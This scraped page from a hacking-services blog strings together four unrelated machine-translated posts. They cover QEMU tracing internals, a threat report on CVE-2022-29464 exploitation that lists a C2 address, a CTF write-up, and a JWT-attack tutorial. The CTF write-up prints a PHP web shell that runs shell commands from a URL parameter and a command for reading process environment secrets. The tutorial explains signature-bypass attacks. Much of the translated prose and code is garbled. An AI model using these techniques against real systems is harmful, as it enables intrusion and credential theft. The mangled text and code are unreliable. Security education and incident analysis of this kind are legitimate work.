Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863584665

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

內部機制9.png

MempipeMempipe是一種超高速的IPC機制，它使Cannoli能夠第一時間工作。它提供了一個低延遲的API，用於通過Linux上的shm*() API將緩衝區從一個進程傳輸到另一個進程。具體來說，它是一種基於輪詢的IPC機制，這意味著使用者在新數據到達之前對郵箱進行熱輪詢。

你可以在mempipe/src/lib.rs 中找到所有代碼。其核心有兩個結構，一個SendPipe 和一個RecvPipe。

Const泛型SendPipe和RecvPipe都使用兩個Const泛型，分別是CHUNK_SIZE和NUM_BUFFERS泛型。 CHUNK_SIZE以字節為單位定義每個緩衝區的大小。這個塊的大小越小，需要進行的傳輸就越多，緩存中的數據就越多。這實際上是緩衝區的大小，該緩衝區將被數據填滿，填滿時會自動刷新。

NUM_BUFFERS泛型指定內存管道中的緩衝區數量。實際上，這就是啟用來自QEMU 的非阻塞數據流的原因。當QEMU向另一個緩衝區生成數據時，用戶可以處理一個緩衝區。建議將此值設置為大於1，否則QEMU將在處理緩衝區時阻塞，但不要設置得太高，否則只會增加可能用於流媒體的內存數量，導致更多的緩存不穩定。

這兩種泛型都是可調的，會顯著影響性能。就我個人而言，我發現將CHUNK_SIZE設置為L1緩存的1/2(在大多數x86系統上是16kib)，將NUM_BUFFERS設置為4似乎是一個不錯的基準。

管道創建創建一個SendPipe 很簡單。你調用SendPipe:create() 並返回一個SendPipe。在內部，它生成一個隨機的64 位數字，用作管道標識符。然後它以這個管道ID 作為文件名創建一個共享內存文件，設置共享內存的長度，並將其映射為可讀寫。我們還在共享內存中放置了一個小的標頭文件，這樣我們就可以確保當我們連接到管道時，它與我們期望的參數匹配。

打開管道創建RecvPipe 也很簡單，只需使用分配給SendPipe 的UID（可從SendPipe:uid() 獲得）調用RecvPipe:open()。然後，確保RecvPipe的Const泛型與SendPipe的Const泛型相匹配(包括在共享內存的元數據中)，最後，它將映射內存並返回管道。

數據產生要從SendPipe生成數據，你需要調用SendPipe:alloc_buffer。這給了用戶一個只寫的ChunkWriter，它可以用ChunkWriter:send來寫。調用alloc_buffer會在熱循環中阻塞，直到緩衝區可用。重要的是，用戶要以盡可能快的速度使用數據，以防止發送方停頓太長時間。使用正確的可調參數，用戶應該總是領先於運營程序，因此alloc_buffer 應該立即有效地返回。

當通過alloc_buffer 獲得緩衝區時，應保證為發送進程所有，因此我們可以安全地可變地寫入它。內存是未初始化的，但沒關係，因為ChunkWriter 只提供寫入訪問，因此讀取未初始化的內存是不可能的。

數據處理在撰寫本文時，我對使用數據的最終設計並不滿意。首先，你從RecvPipe:request_ticket 請求一個票據。這有效地讓管道知道你對數據感興趣，並為你獲取將要處理的數據的唯一ID。然後，你調用RecvPipe:try_recv 來使用票據，並將返回新票據（如果數據已處理）或舊票據（如果recv 沒有任何數據）。 try_recv 是非阻塞的。如果不存在數據，則立即返回。

票據模型有點奇怪，但它允許我們循環分配用戶線程到緩衝區。這會在處理線程之間盡可能均勻地分配處理負載。它也很重要，因為它決定了正在處理的數據的順序，這對於我們有序的跟踪要求很重要。

我想找到對這個API的改進，但我還沒有這麼做，主要是因為它工作得很好，速度超級快。

QEMU補丁Cannoli 包含一些QEMU 的補丁。你可以在文件qemu_patches.patch 的repo 中找到這些內容。這些是目前最新的QEMU eec398119fc6911d99412c37af06a6bc27871f85 的補丁，但是它們被設計為在QEMU 版本之間可以移動。

這些補丁向QEMU引入了大約200行代碼。

QEMU 掛鉤當-cannoli 命令行參數傳入QEMU 時，它會觸發Cannoli 共享庫的dlopen()。然後它獲取Cannoli 條目點的地址（稱為query_version32 或query_version64）。 32 位或64 位後綴不是指共享庫本身的位數（目前所有東西都只支持x86_64 作為主機/JIT 目標），而是指被模擬的目標的位數。所有的掛鉤都設計為以不同的方式處理32 位和64 位目標，因為這會減小數據流的大小，從而在模擬32 位目標時最大限度地提高性能。

調用query_versionX 返回對Cannoli 結構的引用，該結構定義了QEMU 將在某些事件上調度的各種回調。

登記預訂因為我們將在幾乎每條目標指令上生成數據，所以我們實際上希望在寄存器中存儲少量關於跟踪緩衝區和長度的元數據。在內存中執行此操作將非常耗能，因為它將導致對每個目標指令進行多個內存訪問。

因此，我們對tcg_target_reg_alloc_order打補丁，以從QEMU寄存器調度器中刪除x86_64寄存器r12、r13和r14。這可以防止QEMU在其JIT中使用它們，從而使我們在JIT執行期間獨占地控制這些寄存器。這些寄存器是基於SYS-V ABI被調用保存的寄存器。這一點很重要，因為QEMU可以在JIT中調用C函數，我們希望確保在發生這些調用時保留寄存器。

JIT進入和退出由於我們保留了對一些寄存器的控制權，因此我們需要確保這些寄存器在QEMU JIT 進入和退出時被正確設置和保存。 JIT 條目和出口是QEMU 從運行QEMU C 代碼過渡到運行生成的JIT 代碼，再回到退出QEMU 的邊界。這些條目和出口是在tcg_target_qemu_prologue() 函數中為每個JIT-target-architecture 定義的。這有效地設置上下文、調用JIT 並恢復上下文。對於熟悉操作系統開發的人來說，這實際上是一種有效的上下文切換。

我們在這裡添加了一些掛鉤，允許我們調用Rust 共享庫中的代碼。具體來說，就是jit_entry() 和jit_exit() 函數。這些在JIT 的上下文中被調用，並提供對r12、r13 和r14 寄存器的訪問，以便可以在每次JIT 進入和退出時保存和恢復它們。

在我們的示例中，$entry 函數(cannoli/cannoli_server/src/cannoli_internals.rs) 從mempipe中分配一個緩衝區，在r12 中設置一個指向它的指針，在r13 中設置一個指向它末尾的指針，然後返回。這將通過執行JIT建立r12和r13的狀態。

$exit函數決定JIT產生的字節數(由r12中的當前指針表示，它已經是高級了)，並通過IPC將數據發送給用戶。

加載和存儲對於加載和存儲，我們鉤住了tcg_out_qemu_ld()和tcg_out_qemu_st()。這些函數是特定於x86_64- jit目標的函數，它們為到來賓地址空間的內存操作提供了捕獲所有接收器(catch-all sink)，用於各自的加載和存儲。

指令執行對於指令執行，我們掛鉤tcg_gen_code()，特別是INDEX_op_insnstart() QEMU TCG 指令，它表示指令開始執行的地址。

JIT shellcode 注入內存和指令掛鉤都做同樣的事情。它們在Rust代碼中調用一個回調函數，該回調函數被傳遞給qemu提供的緩衝區和長度。然後，此回調可以使用直接發送到JIT 流中的shellcode 填充QEMU 提供的緩衝區。這為我們的Rust 庫提供了將任意代碼注入JIT 流的能力。如果你是高級用戶，則可以通過為不同的指令提供不同的掛鉤來做一些非常酷的事情。

Cannoli服務器Cannoli 服務器（通過掛鉤加載到QEMU 中）已經預定義了一些掛鉤。這些是指令和內存操作掛鉤。

Cannoli 的整個流程（在其默認配置中）是在JIT 條目分配一個IPC 緩衝區，在JIT 期間填充它，如果它填滿了就刷新它，在JIT退出時也刷新它。

默認的指令和內存掛鉤執行最少的組裝，以確保跟踪緩衝區中有足夠的空間，刷新它（通過回調到Rust，如果它是滿的，它可以在這裡調用Rust，因為這些事件“很少”發生，例如。每幾千條目標指令），最後將內存或指令執行指令以相對簡單的格式存儲到跟踪中。

Cannoli 服務器共享對象包含所有掛鉤和代碼的兩個副本，這樣同一個共享對象就可以同時用於32位和64位目標，而無需重新編譯！

這些掛鉤直接寫入mempipe 提供的緩衝區，就這麼簡單！任何更複雜的內容都將嚴重損害性能！

Cannoli最後，Cannoli 本身就是一個用戶庫。由於我們每秒可能處理數十億條指令，所以我們將所有Cannoli設計成使用線程。這允許你在多個線程上執行相對複雜的跟踪使用和處理，同時不會影響QEMU單線程任務。

這很簡單。 Cannoli 創建請求的線程數，並在那些等待數據的線程上旋轉。使用mempipe 票據系統，每個線程都要排隊等待數據進入。當緩衝區出現他們的票號時，該線程處理來自QEMU 的數據。

由於並行處理意味著跟踪不再是有序的，我們允許用戶為每個事件返回他們自己的結構，然後在排序後將其返回給他們。這允許用戶進行線程處理，直到他們需要排序。

總結盡可能快地將數據從一個進程傳輸到另一個進程是一個非常困難的問題。關於處理器的詳細信息，如緩存一致性，對於獲得高吞吐量至關重要，特別是在希望盡可能防止生成線程阻塞時。

HireHackking

趨勢科技的研究人員觀察到漏洞CVE-2022-29464 自4 月以來就在野外被利用，該漏洞允許不受限制的文件上傳，從而進行任意遠程代碼執行(RCE)。在4 月份披露和修補後，該漏洞被評為9.8級，並影響了許多WSO2 產品。它不需要用戶交互和管理權限即可濫用，並且可以在設備未打補丁的情況下攻擊網絡。

WSO2產品的漏洞於4月18日被一位名為Orange Tsai的用戶披露，並隨後給出了相應的CVE ID，並進行了修補。 4月20日，一位名為“hakkivi”的GitHub 用戶發布了該漏洞利用的證明，第二天研究人員就觀察到了對受影響環境的攻擊，大約一周後，受影響環境的Metasploit 模塊就可用了。該漏洞會影響WSO2 API Manager 2.2.0 及更高版本、Identity Server 5.2.0 及更高版本、Identity Server Analytics 5.4.0 至5.6.0、Identity Server as Key Manager 5.3.0 及更高版本、Open Banking AM 1.4.0 及更高版本，以及Enterprise Integrator 6.2.0 及以上版本。

漏洞濫用1.png

感染鏈我們觀察到安裝了濫用該漏洞的web shell，並查看此漏洞的概念證明，一個惡意Jakarta Server Pages（.JSP，以前的JavaServer Pages）文件可以上傳到以下位置。

加图1.png

但值得注意的是，許多觀察到的攻擊在現有的PoC實現中是非常持久的。

然而，在分析過程中，研究人員在其他安裝了web shell 的位置發現了其他上傳和安裝的web 應用程序資源(.WAR) 文件，這可能是由於Metasploit 模塊的啟動。從這個.war 文件中，Payload.class 由用戶環境中的合法Java 應用程序服務器函數提取：

加图2.png

位置/authenticationendpoint/似乎是WSO2產品中常見的位置，我們發現在使用. jsp或. war文件受影響的7個產品中，至少有4個出現了針對該位置以及其他位置的web shell安裝。

2.jpg

在web shell安裝之後，Java進程會調用wget命令來獲取auto.sh文件。我們分析了這個文件，發現它是一個coinminer安裝程序（被趨勢科技檢測為Trojan.SH.MALXMR.UWELO），很可能是通過濫用漏洞的web shell安裝的。

3.png

追踪可疑的執行

4.png

觀察到的wget 命令執行

此外，研究人員還觀察到從Java進程運行的chmod命令對權限的更改。我們看到，攻擊者可以使用與Java 進程所有者相同的權限執行任意操作系統命令。在利用4 月記錄的Spring4Shell (CVE-2022-22965) 漏洞的Mirai 殭屍網絡惡意軟件樣本中也觀察到了chmod 命令。

5.png

跟踪chmod 命令

6.png

chmod 命令執行

Vision One的燕麥功能將這些命令執行顯示為“低風險”。由於一些執行和流程被團隊和管理員用作常規操作(如wget和chmod)的一部分，低風險級別的檢測通常會與高風險或關鍵風險級別的項目相結合進行分析，因此會被跟踪：

7.png

OAT 顯示wget 和chmod 命令執行情況

為Linux開發了Cobalt Strikebeaconchmod命令執行後，進程“LBcgqCymZQhm”（被趨勢科技檢測為Backdoor.Linux.COBEACON.AA）也從Java 進程中執行。該進程在Linux 操作系統上運行，並執行到IP 地址179[.]60[.]150[.]29:4444 的出站連接。分析發現，該IP地址是一個惡意的Cobalt Strike回調目的地和命令與控制(CC)服務器，研究人員自2021年3月以來一直在跟踪和阻止該服務器。

在最初的調查中，研究人員將這個207 字節的ELF 可執行文件確定為與Linux 兼容的Cobalt Strike beacon。考慮到該環境運行在Linux操作系統上，而Cobalt Strike只提供針對Windows的beacon，因此該示例很可能是由攻擊者開發的，以與Cobalt Strike 兼容。

8.png

跟踪未知的可疑執行

9.png

觀察到與Cobalt Strike 回調建立出站連接的未知流程執行

分析還發現安裝了惡意軟件，例如用於Windows 的Cobalt Strike beacon（趨勢科技檢測為Backdoor.Win64.COBEACON.SMA）和hacktool fscan（趨勢科技檢測為HackTool.Win64.NetScan.AE)，尤其是在Windows 環境中。雖然攻擊者應該執行放置在受影響計算機上的文件，但執行被趨勢科技的解決方案終止。

總結使用受影響產品的用戶應按照WSO2 安全公告中確定的步驟立即修補或應用建議的臨時緩解程序。在進行初步分析後，趨勢科技的研究人員還在4 月發布了初步通知，通知了用戶和組織。在漏洞披露三天后和PoC 發布後的第二天，已經觀察到濫用此漏洞的攻擊，並且在安裝web shell 方面特別激進。在Linux 和Windows 環境中也觀察到了Cobalt Strike beacon。由於沒有為Linux 提供官方beacon，研究人員觀察到的兼容beacon應該是由攻擊者準備的。我們還觀察到用於Windows和Linux環境下加密貨幣挖礦的掃描工具fscan。通過對該漏洞的矢量分析，可以很容易地利用這一漏洞，因為使用受影響產品的服務器可以通過谷歌或Shodan搜索找到。此外，攻擊者似乎一直在實施現有的PoC，而Metasploit 模塊的可用性是網絡犯罪分子利用漏洞的關鍵一步。

雖然此前有報導稱，趨勢科技在2021年9月發現了一個與linux兼容的Cobalt Strikebeacon，其名稱為Trojan.Linux.VERMILLIONSTRIKE.A，但我們的分析發現，這個beacon具有不同的結構。研究人員還觀察了同一家族beacon的其他樣本在其他受漏洞影響的環境中的安裝情況。考慮到這一點，研究人員預計未來在易受攻擊的Linux環境中會更看到這個家族的樣本，因為安裝後門beacon表明，與安裝挖礦程序相比，可能會發生更多惡意和破壞性活動。

WSO2 產品的應用行業非常廣泛，例如醫療保健、銀行、能源、教育、政府和通信等。快速掃描他們的API Manager 的GitHub 頁面可以顯示至少每天提交一次的源代碼。

與其他服務器相比，WSO2 身份服務器可以被認為是攻擊者滲透的最有價值的資產之一，因為它是一個開源身份訪問管理(IAM) 產品。訪問IAM 服務器的攻擊者可以隨意訪問在WSO2 產品服務器下具有訪問管理權限的所有服務和用戶數據。負責清理的管理員和IT團隊應該檢查WSO2產品，看看是否有任何不屬於該產品的文件、用戶和/或流程，並將它們全部刪除。

HireHackking

減圧

人形を圧縮し、最後のレイヤーまで解決し、ファイルを抽出します

image-20241024133500142

プロンプトは通常のコードを提供します。通常のブラストパスワードによると、合計5桁があり、4桁目は数字です

^（[a-z]）{3} \ d [a-z] $の合計は5桁で、直接blastされ、パスワードxtr4mを取得し、脱落させてフラグを取得します

image-20241024143051751

image-20241024133955066

PleasingMusic

タイトルの説明に言及しています：

歌はよく聞こえ、ポジティブとネガティブの両方で、ポジティブとネガティブは良いです。プロンプトによると（実際、音楽の後半が後方に再生されることも聞くことができます）、オーディオは逆に処理され、その後モールスコードが解析されます。

界面 1 界面 2

モールスコードメーターは手動で翻訳できます。オンラインデコードを使用できます。

粗い表現： - 、薄い表現：スペースまたはスペース：スペースまたは/セグメントを使用します

Morse 解密结果

image-20241024134921354

whereisflag

実際のフラグを見つけるための純粋なコマンドマニュアル検索。 /proc/self/Environファイル（現在のプロセスの環境変数を取得するために使用できます）では、次のコマンドを実行してフラグを取得できます。

Cat/Proc/Self/Environ image-20241024135548272

labyirinth

image-20241024135921781

image-20241024135957928

コードを引き換える

image-20241024140300688

wireshark_checkin

image-20241024140542352

image-20241024140718246

wireshark_secret

image-20241024141014162

image-20241024141234550

タイトルの説明に連絡して、tivatテキスト比較テーブルを見つけます

image-20241024141652291

比較表にはたくさん説明されています

最初の真ん中に大きな文字列を試しましたが、上下のケースは正しくありませんでした

その後、小さな暗号テキストを繰り返し続けて取得します：flagisasesence iiaaelgtsfkfa

doyouknowfence mesioaabgnsgogmyeiaied

ヒントフラグは文であり、フェンスはフェンスの暗号化mesioaabgnsgogmyeiaidでもあります

https://ctf.bugku.com/tool/railfence

image-20241024142911077

提出が提出されたときにパッケージフラグは正しくなく、小文字に切り替えるときは小文字が正しいです。

最後のフラグは次のとおりです：flag {muygenshinisagoodgame}

線の間の秘密

vscodeで開いて、u+202cの広いゼロバイトを発見します

image-20241024143304292

image-20241024143434003

パスワードを取得：IT_IS_K3Y

パスワードを使用して単語を開き、空白を見つけ、すべてのCTR+Aを選択し、コピーして、フラグを取得します

image-20241024143550459

Xiao Ming、熱心で親切な

vol.py -f image.raw imageinfo

image-20241024143952884

推奨されるオペレーティングシステムのバージョンは、win7sp1x86_23418、win7sp0x86、win7sp1x86_24000、win7sp1x86であることがわかります。ここでは、最初のもの（win7sp1x86_23418）を選択して試してみます。とにかく、それがうまくいかない場合は、何か他のものを試してください。

vol.py -f image.raw -profile=win/sp1x86_23418 lsadump

image-20241024144028191

最初の0x48はパスワードではありません。サインとして理解できます。これとは別に、システムパスワードを取得できます：zdfyvdlfdtnlul9wnhntdzbyrf9iqunlrvih。

最後のフラグはフラグです{zdfyvdlfdtnlul9wnhntdzzbyrf9iqunlrvih}

トレーサーを使用してボルトの台風を使用して

ステップ1、ニュースビデオへのリンクを開きます

bilibili1

bilibili2

ビデオに基づいて、次の情報を取得します。

必須レポート：ダークパワーの台頭.対応するバージョン：オリジナル4月15日バージョンステータス：必要な情報が改ざんされています。レポート名を直接検索します

https://Threatmon.io/storage/the-rise-of-dark-power-a-close-the-the-group-and-the-their-ransomware.pdf

google

duckduckgo

必要なPDFファイルを見ることができますが、ビデオにはレポートコンテンツが改ざんされていることも述べています。

篡改

したがって、現在のバージョンには間違いなく必要な情報がありません。

質問者は以前に幸運だったので、彼は直接ダウンロードできる元のバージョンのPDFを見つけました、そして、彼はそれを直接始めることができました。

しかし、運が良くない場合はどうすればよいですか？ —— Waybackマシンを使用するように当社のWebサイトにお願いします。

wayback 1

公式のWebサイトリンクを入力して、たまたま4月15日に利用できるトレーサーを開始します。

wayback 2

wayback 3

ファイルをダウンロードすると、残りはビデオで示されているファイルと同じです。

バックカバー画像を削除し、ドメインボックスに材料を入手してからMD5を入手してください。

もちろん、肉眼でビデオのあいまいな情報を直接読むことができれば、質問者はそれを認識します。

domain

md5

フラグを詰めてフラグを取得{6C3EA51B6F9D4F5E}。

Hertaの研究

HTTPエクスポートGet Upload.php

image-20241024145523278

？php

$ payload=$ _ get ['payload'];

$ payload=shell_exec（$ payload）;

$ bbb=create_function（

base64_decode（ 'j'.str_rot13（' t '）。' 5z '）、

base64_decode（ 'jg5zpwjhc2u2nf9lbmnvzguojg5zktsncmzvcigkat0woyrpphn0cmxlbigkbnmpoyrp

kz0xkxsnciagiCbpzigkasuy'.str_rot13（ 'cg0kxkfapvntvpntvpntwt5mjleckg1m'）。 'dhjfcm90mtmojg5zwyrpxsk7dqo

GICAGFQ0KFQ0KCMV0DXJUICRUCZS=='）

）;

echo $ bbb（$ payload）;

？str_rot13（）関数は、文字列上でrot13エンコードを実行します。

ROT13エンコーディングは、各文字をアルファベット内の13文字で前進させることです。数字と非アルファベット文字は同じままです。

'。' PHPのコネクタなので、アップロードされたPHPコードは実際には次のとおりです。

？php

$ payload=$ _get ['payload'];

$ payload=shell_exec（$ payload）;

$ bbb=function（$ ns）{

$ ns=base64_encode（$ ns）;

for（$ i=0; $ i strlen（$ ns）; $ i ++）{

if（$ i％2==1）{

$ ns [$ i]=str_rot13（$ ns [$ i]）;

}

}

$ nsを返します。

};

echo $ bbb（$ payload）;

コードによると、結果はbase64によってエンコードされていることがわかり、その後、内部の奇数桁の文字がstr_rot13でエンコードされていることがわかります。

次に、旗を要求するパッケージを見つけてそれをデコードしますが、それが偽の旗であることがわかります。

？php

$ result='zzxuz3tmsqnsagrsumbsnzvodkkkzavzla0tct==';

$ bbb=function（$ ns）{

for（$ i=0; $ i strlen（$ ns）; $ i ++）{

if（$ i％2==1）{

$ ns [$ i]=str_rot13（$ ns [$ i]）;

}

}

$ nsを返します。

};

Echo Base64_Decode（$ BBB（$ result））;

？後で、私はf.txtを見つけに行き、flag:flagを解決しました{sh3_i4_s0_6eaut1ful。}

bgmは壊れていますか？

Audacityでオーディオを開くと、右チャネルの終わりに情報があり、左チャネルがノイズがあることを簡単に見つけることができます。

audacity 1

質問の説明によると、それはダイヤルトーンですが、直接リリースすることはできないため、ノイズを削除する必要があります

[ステレオから個別]を選択してモノ»左チャンネルをオフにします»エクスポートimage-20241024151621861

image-20241024151650045

image-20241024151704929

audacity 4

キーサウンドによる復号化Webサイト（つまり、DTMFデコーダー

image-20241024151752387

image-20241024151805669

フラグをラップするだけです{}

AmazingGame

プライベートAndroidディレクトリは/data/user/0/パッケージ名にあります

Android shared_prefsは通常、ソフトウェア構成データを保存するために使用されます

ファイルを変更して、合格レベルデータを変更します

最初のレベルを通過した後、ゲームをオフにします（これは非常に重要です）

携帯電話の実行へのADBリンク

シェル

ADBシェル

run-as com.pangbai.projectm

CD shared_prefs

cat net.osaris.turbly.jumpyball.xmlxml

？xmlバージョン='1.0'エンコード='utf-8' standalone='yes'？

地図

boolean name='cockpitview' value='true' /

int name='lockedsolotracks' value='2' /

int name='lockedtracks' value='2' /

int name='best0m0' value='130' /

int name='lockedships' value='1' /

int name='userid' value='9705893' /

/マップソフトウェアには23のレベルがあり、ロック解除数のレベルを23に変更します

通常、ADBプッシュを使用してファイルを変更する必要があります。ここでは、利便性のために2を直接23に置き換えます。

シェル

SED -I 's/2/23/g' net.osaris.turbly.jumpyball.xmlゲームを開き、すべてのレベルがロック解除されていることがわかります。自由に23のレベルをプレイします。ゲームが終わったときにフラグを取得できます。

ez_jail

この質問の元の意味は、C ++の（マクロ）置換演算子の知識のみをテストすることです。

キーワードが正しく使用されている限り、オンラインで検索できますが、質問セットの人の実行は壊れており、テスト中に多くの予期しない結果が表示されます。各知識ポイントの難しさを検討した後、予想外の難しさは予想される解決策とそれほど変わらないと感じたので、単に半開きの質問になりました。

コードのチェック関数を観察します

Python

def cpp_code_checker（code）:

code:の「#include」の場合

falseを返す、「コードにはライブラリを含めることは許可されていません」

code:の「#define」の場合

falseを返し、「コードはマクロの使用が許可されていません」

'{' in codeまたは '}' in code:の場合

戻る （

間違い、

'コードは `{`または `}`を使用することは許可されていませんが、単一の関数である必要があります」

））

Len（code）100:の場合

「コードが長すぎる」と虚偽を返す

trueを返す、「コードは有効」です 'このコードは#include #defineなどをフィルタリングしているようですが、学生が＃をバイパスできることを生徒が気付いたかどうかはわかりません。

したがって、ペイロードはこのようなものになる可能性があります（ソリューションを提供してくれたMaster Yuroに感謝します）

cpp

＃define user_code（）write（stdout_fileno、 'hello、world！'、13）;

HireHackking

在本文中，我們將探討JSON網絡令牌（JWT）的設計問題以及不當的處理方式是如何讓網站面臨各種高危攻擊的威脅的。由於JWT最常用於身份認證、會話管理和訪問控制機制，因此，這些漏洞有可能危及整個網站及其用戶。

如果還不熟悉JWT及其工作原理，那也不用擔心——我們會順便介紹所有相關細節。此外，我們還提供了一些含有相關漏洞的實驗環境，這樣你就可以針對真實的目標安全地進行滲透測試了。

1.jpg

實驗環境如果您已經熟悉了JWT攻擊背後的基本概念，目前只想在一些現實的、故意易受攻擊的目標上練習這些漏洞的利用方法，則可以通過下面的鏈接來訪問本專題的所有實驗緩解。

要想查看所有JWT實驗環境，請訪問https://portswigger.net/web-security/all-labs#jwt。

需要注意的是，從Burp Suite Professional 2022.5版本開始，Burp Scanner就可以替您自動檢測JWT機制的某些漏洞。目前，這個版本只在我們的Early Adopter發布頻道提供。關於如何切換渠道的更多信息，請參見https://portswigger.net/burp/documentation/desktop/early-adopter。

什麼是JWT？ JSON Web令牌（JWT）是一種標準化的格式，用於在系統之間發送經過加密簽名的JSON數據。它們理論上可以包含任何類型的數據，但最常用於發送關於用戶的信息（“聲明”），以進行身份認證、會話處理和訪問控制。

與傳統的會話令牌不同，服務器需要的所有數據都存儲在JWT本身的客戶端。這使得JWT成為高度分佈式網站的熱門選擇，在這些網站中，用戶需要與多個後端服務器進行無縫交互。

JWT格式JWT由3部分組成：頭部、載荷和簽名。這些部分之間用點號隔開，具體如下面的例子所示：

eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTY0ODAzNzE2NCwibmFtZSI6IkNhcmxvcyBNb250b3lhIiwi c3ViIjoiY2FybG9zIiwicm9sZSI6ImJsb2dfYXV0aG9yIiwiZW1haWwiOiJjYXJsb3NAY2FybG9zLW1vbnRveWEubmV0IiwiaWF0IjoxNTE2MjM5MDIyfQ.SYZBPIBg2CRjXAJ8vCER0LA_ENjII1JakvNQoP-Hw6GG1z fl4JyngsZReIfqRvIAEi5L4HV0q7_9qGhQZvy9ZdxEJbwTxRs_6Lb-fZTDpW6lKYNdMyjw45_alSCZ1fypsMWz_2mTpQzil0lOtps5Ei_z7mM7M8gCwe_AGpI53JxduQOaB5HkT5gVrv9cKu9CsW5MS6ZbqYXpGyOG5eh oxqm8DL5tFYaW3lB50ELxi0KsuTKEbD0t5BCl0aCR2MBJWAbN-xeLwEenaqBiwPVvKixYleeDQiBEIylFdNNIMviKRgXiYuAvMziVPbwSgkZVHeEdF5MQP1Oe2Spac-6IfAJWT的頭部和載荷部分其實就是用base64url編碼的JSON對象。其中，頭部包含關於令牌本身的元數據，而載荷包含關於用戶的實際“聲明”。例如，您可以對上述令牌的載荷進行解碼，從而得到以下聲明：

{

'iss':'portswigger',

'exp':1648037164,

'name':'CarlosMontoya',

'sub':'carlos',

'role':'blog_author',

'email':'carlos@carlos-montoya.net',

'iat':1516239022

}在大多數情況下，任何有權訪問令牌的人都可以輕鬆地讀取或修改這些數據。因此，任何基於JWT機制的安全性都嚴重依賴於密碼簽名。

JWT簽名頒發令牌的服務器通常通過對頭部和載荷計算哈希值來生成簽名。在某些情況下，它們還對產生的哈希值進行加密處理。但是無論哪種方式，這個過程都涉及一個秘密密鑰。如果不知道這個密鑰，就無法為給定的頭部和載荷生成有效的簽名。這實際上就為服務器提供了一種機制，以驗證自令牌頒發以來沒有任何數據被篡改過，因為對頭部或載荷部分的任何修改，都將意味著簽名不再匹配。

如果您想更好地理解JWTs是如何構造的，可以使用jwt.io上的調試器對任意令牌進行實驗。

JWT、JWS與JWEJWT規範的約束實際上是非常有限的。它只定義了將信息（“聲明”）表示為可以在雙方之間傳輸的JSON對象的格式。在實踐中，JWT並沒有真正作為一個獨立的實體使用。 JWT規範由JSON Web簽名(JWS)和JSON Web加密(JWE)規範組成，它們定義了實際實現JWT的具體方法。

1.jpg

換句話說，JWT通常是指JWS或JWE令牌。當人們使用“JWT”這個術語時，他們幾乎總是指JWS令牌。 JWE的情況也非常相似，只是令牌的實際內容是經過加密的，而不是僅僅經過編碼處理的。

需要說明的是，為簡單起見，在這些資料中，“JWT”主要是指JWS令牌，儘管所述的一些漏洞也可能適用於JWE令牌。

什麼是JWT攻擊？所謂JWT攻擊，是指用戶向服務器發送修改過的JWT，以實現惡意目的。通常情況下，這個目的是通過冒充已經通過身份認證的另一個用戶，以繞過認證和訪問控制。

JWT攻擊的危害是什麼？ JWT攻擊的影響通常很嚴重。如果攻擊者能夠用任意值創建自己的有效令牌，他們就能夠提升自己的權限或冒充其他用戶，從而完全接管這些用戶的賬戶。

JWT攻擊的漏洞是如何產生的？ JWT漏洞通常是由於應用程序本身對JWT的處理有缺陷而產生的。與JWT有關的各種規範在設計上相對靈活，允許網站開發人員自行決定許多實現細節。這可能會導致他們意外地引入安全漏洞，即使是在使用“身經百戰”的代碼庫時。

這些實現缺陷通常意味著JWT的簽名沒有被正確驗證。這使得攻擊者可以通過令牌的載荷篡改傳遞給應用程序的值。即使簽名得到了嚴格的檢查，它是否真的可以被信任，在很大程度上也取決於服務器的秘鑰是否仍然是“機密的”。如果這個密鑰以某種方式被洩露，或者可以被猜測或破解，那麼攻擊者就可以為任意令牌生成有效的簽名，從而攻陷整個機制。

如何通過Burp Suite處理JWT如果您過去還沒有使用過JWT，我們建議您在嘗試本文中的實驗之前先熟悉Burp Suite的相關功能。

如何利用存在缺陷的JWT簽名驗證根據設計，服務器通常不存儲任何關於其頒發的JWT的信息。相反，每個令牌都是一個完全獨立的實體。雖然這樣做有許多優點，但也引入了一個基本問題——服務器實際上不知道關於令牌的原始內容，甚至不知道原始簽名是什麼。因此，如果服務器沒有正確地驗證簽名，就沒有什麼可以阻止攻擊者對令牌的其他部分進行任意篡改。

例如，考慮一個包含以下聲明的JWT：

{

'username':'carlos',

'isAdmin':false

}如果服務器是根據username來識別會話，那麼，攻擊者就能夠通過修改用戶名來冒充其他已登錄的用戶。同樣，如果isAdmin值被用於訪問控制，攻擊者也可以提通過篡改這個值來實現提權。

在前兩個實驗中，您將看到一些示例，展示了這些漏洞在實際應用程序中的具體表現。

漏洞：接受任意簽名JWT庫通常會提供一個方法來驗證令牌，同時，還會提供另一個方法對其進行解碼。例如，對於Node.js庫jsonwebtoken來說，這兩個方法本別是verify()和decode()。

有時候，開發人員會混淆這兩個方法，只把傳入的令牌傳給decode()方法。這實際上意味著應用程序根本就沒有對簽名進行驗證。

關於通過未驗證的簽名繞過JWT認證的實驗環境，請訪問https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature。

漏洞：接受未簽名的令牌實際上，JWT頭部還包含一個alg參數。該參數的作用，就是告訴服務器對令牌進行簽名時使用的是哪種算法，換句話說，在驗證簽名時需要使用哪種算法。

{

'alg':'HS256',

'typ':'JWT'

}這在本質上是有缺陷的，因為服務器別無選擇，只能隱式地信任提供令牌的用戶的輸入（注意，這些輸入受控於該用戶），而該令牌根本沒有被驗證過。換句話說，攻擊者可以直接影響服務器檢查令牌是否值得信任的方式。

JWT既可以使用一系列不同的算法進行簽名，也可以不簽名。在這種情況下，alg參數被設置為None，表示所謂的'不安全的JWT'。由於這種情況具有顯而易見的安全隱患，因此，服務器通常會拒絕沒有簽名的令牌。然而，由於這種過濾依賴於字符串解析，所以，攻擊者可以使用經典的混淆技術繞過這些過濾器，如混合大寫和非預期的編碼。

需要注意的是，即使令牌是未簽名的，載荷部分也必須以點號結尾。

